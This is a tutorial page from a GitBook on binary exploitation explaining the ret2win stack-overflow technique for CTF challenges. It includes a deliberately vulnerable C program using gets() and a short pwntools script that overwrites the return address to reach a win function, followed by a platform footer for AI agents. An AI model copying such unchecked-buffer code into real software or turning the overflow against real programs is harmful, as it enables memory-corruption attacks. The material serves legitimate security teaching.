> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/02.-ret2win.md).

# README.md: Understanding ret2win (The "Hello World" of Exploitation)

The **ret2win** (Return-to-Win) is a classic binary exploitation technique used in Capture The Flag (CTF) challenges. It is the simplest form of a buffer overflow exploit where the goal is to redirect a program's execution flow to a specific function that is already present in the binary but never intended to be called.

## 1. The Core Concept

In a standard stack overflow, you overwrite the **Instruction Pointer** (EIP on x86, RIP on x64). In a `ret2win` scenario:

1. The program contains a "hidden" or "unused" function (e.g., `spawn_shell()` or `print_flag()`).
2. The program takes user input via a vulnerable function (like `gets()` or `scanf()`).
3. You provide an input long enough to overflow the buffer and overwrite the **Return Address** with the memory address of the "win" function.

## 2. Prerequisites & Memory Basics

To understand `ret2win`, you must understand how the CPU knows where to go next.

### The Stack Frame

When a function is called, the CPU pushes the address of the next instruction onto the stack. This is the **Return Address**.

* **Buffer:** A space in memory (like `char buf[32]`).
* **Overflow:** Writing 40 bytes into a 32-byte buffer.
* **The Goal:** The extra 8 bytes should precisely overwrite the Return Address.

## 3. The Workflow

1. **Find the "Win" Function:** Use a tool like `nm` or `objdump` to find the memory address of the function you want to execute.
2. **Calculate the Offset:** Determine exactly how many bytes of "junk" (usually 'A's) are needed to reach the Return Address.
3. **Craft the Payload:** Construct a string: `[Junk Padding] + [Address of Win Function]`.

## 4. Examples

### Example A: The Vulnerable C Code

```c
#include <stdio.h>
#include <stdlib.h>

void win() {
    printf("You win! Here is your flag: CTF{s7ack_0v3rfl0w_m4st3r}\n");
}

void vulnerable_function() {
    char buffer[16];
    printf("Enter some text: ");
    gets(buffer); // VULNERABILITY: gets() does not check bounds
}

int main() {
    vulnerable_function();
    return 0;
}
```

### Example B: Calculating the Payload

If our buffer is **16 bytes**, the stack might look like this:

* `buffer`: 16 bytes
* `saved EBP/RBP`: 8 bytes (on 64-bit)
* **Total Padding needed:** 24 bytes.

**The Exploit (Python/Pwntools):**

```python
from pwn import *

# 1. Find the address of 'win' (e.g., 0x4011d6)
win_address = p64(0x4011d6) 

# 2. Build payload: 24 bytes of junk + the address
payload = b"A" * 24 + win_address

# 3. Send it
p = process('./vulnerable_binary')
p.sendline(payload)
p.interactive()
```

## 5. Why it might fail (Modern Protections)

If you try this on a modern compiler without specific flags, it won't work due to:

* **Stack Canaries:** A "guard" value that detects the overflow.
* **ASLR:** The address of `win()` changes every time the program runs.
* **PIE (Position Independent Executable):** The entire binary's base address is randomized.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/02.-ret2win.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.